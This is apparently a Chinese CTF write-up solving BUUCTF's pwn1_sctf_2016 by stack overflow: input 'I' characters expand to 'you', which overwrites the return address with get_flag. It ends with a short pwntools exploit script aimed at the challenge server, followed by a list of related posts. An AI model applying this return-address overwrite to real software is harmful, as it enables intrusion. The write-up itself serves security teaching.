[BUUCTF-pwn]——pwn1_sctf_2016
[BUUCTF-pwn]——pwn1_sctf_2016
- 题目地址:https://buuoj.cn/challenges#pwn1_sctf_2016
- 题目:
话不多说,先下载下来再说。
在Linux上 checksec一下,发现开启了NX保护,但是没有开启Stack的保护,也就是说我们可以很轻易的利用栈溢出。
在window的IDA上反汇编看下源码,额 ,main函数没有什么有用的信息。我们可以看下vuln函数。
发现好大一堆,发现了fgets函数,但是很遗憾。它要求我们只能输入不超过32个字符。而我们的s距离ebp有0x3c也就是60的距离。发现下面有个replace 函数,进去看看有没有什么帮助。
replace函数如下:
仔细研读发现这个函数,发现有点小尴尬,看的不是太懂。所以…
看到上面有 I 和 you。打算动态调试一下,输入 I 或者 you 看看结果。结果发现,它会将 输入的 I 全部替换为 you!!!
看到这里,相信大家已经有思路了,我们只需要输入20个 I 和 任意四个字符,就可以开始覆盖返回地址了。
查看右侧函数,发现有一个函数名称极其嚣张 get_flag 点开一看,果不其然。
查看函数所在位置:
我们看到system函数压参数是在0X08048F13所以我们可以将其作为我们的返回地址。
当然,0X08048F0D 也可以作为返回地址,这是get_flag函数开头,并且get_flag函数无参。
exploit如下:
from pwn import *
#context.log_level='debug' #加不加都可以
p=remote('node3.buuoj.cn',xxxx)
payload='I'*20 + 'junk' +p32(0x08048F13)
p.sendline(payload)
p.interactive()
[BUUCTF-pwn]——pwn1_sctf_2016相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- pytorch中调整学习率的lr_scheduler机制
- centos 7 mysql界面管理器_centos7安装mysql5.7.24,并使用system管理mysql
- Tomcat内部结构
- JPA规范的主要内容
- 径向基函数RBF三维网格变形
- 一篇文章了解Liquid模版引擎
- Angular JS
- linux中sar命令的选项很多,Linux sar 命令详解
- linux 删除中文文件夹,Linux删除文件夹命令是什么
- 如何保持最佳 MacBook 温度?
- Google官方 详解 Android 性能优化【史诗巨著之内存篇】
- 14Penrose广义逆(II)
- Python3-word文档操作(六):word文档中表格的操作-单元格文字居中,字体颜色等的设置
- Windows系统文件浏览标签窗口工具
- 利用setInterval()方法实现在页面上显示实时时间
- rainmeter 皮肤_Rainmeter入门指南:在桌面上显示系统统计信息
- js中求2个数的最大值的几种方法
- 原生js的animate方法
- Swaps in Permutation
- java400行能干啥?不如写个飞翔小鸟游戏吧
热门文章
- 海洋工作室——网站建设专家:How to check the SQL statement execute time on SQL Server ?...
- iOS之高德地图定位偏移以及经纬度之间的转换
- 你不知道的Python的输入输出
- 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1107:校门外的树
- 深度学习——02、深度学习入门——经典卷积神经网络架构实例——RNN
- 【Tools】Bandicam安装和卸载
- 【MFC】工具栏按钮追加显示文本
- 【Linux网络编程】循环服务器之UDP循环模型
- c语言中关于宏和内联说法正确的是, 2011年1月高等教育自学考试全国统一命题考试 C++程序设计试题...
- pygame精灵组有哪些方法_小精灵科学室-如何在活动中提高幼儿的探究能力和科学探究活动?...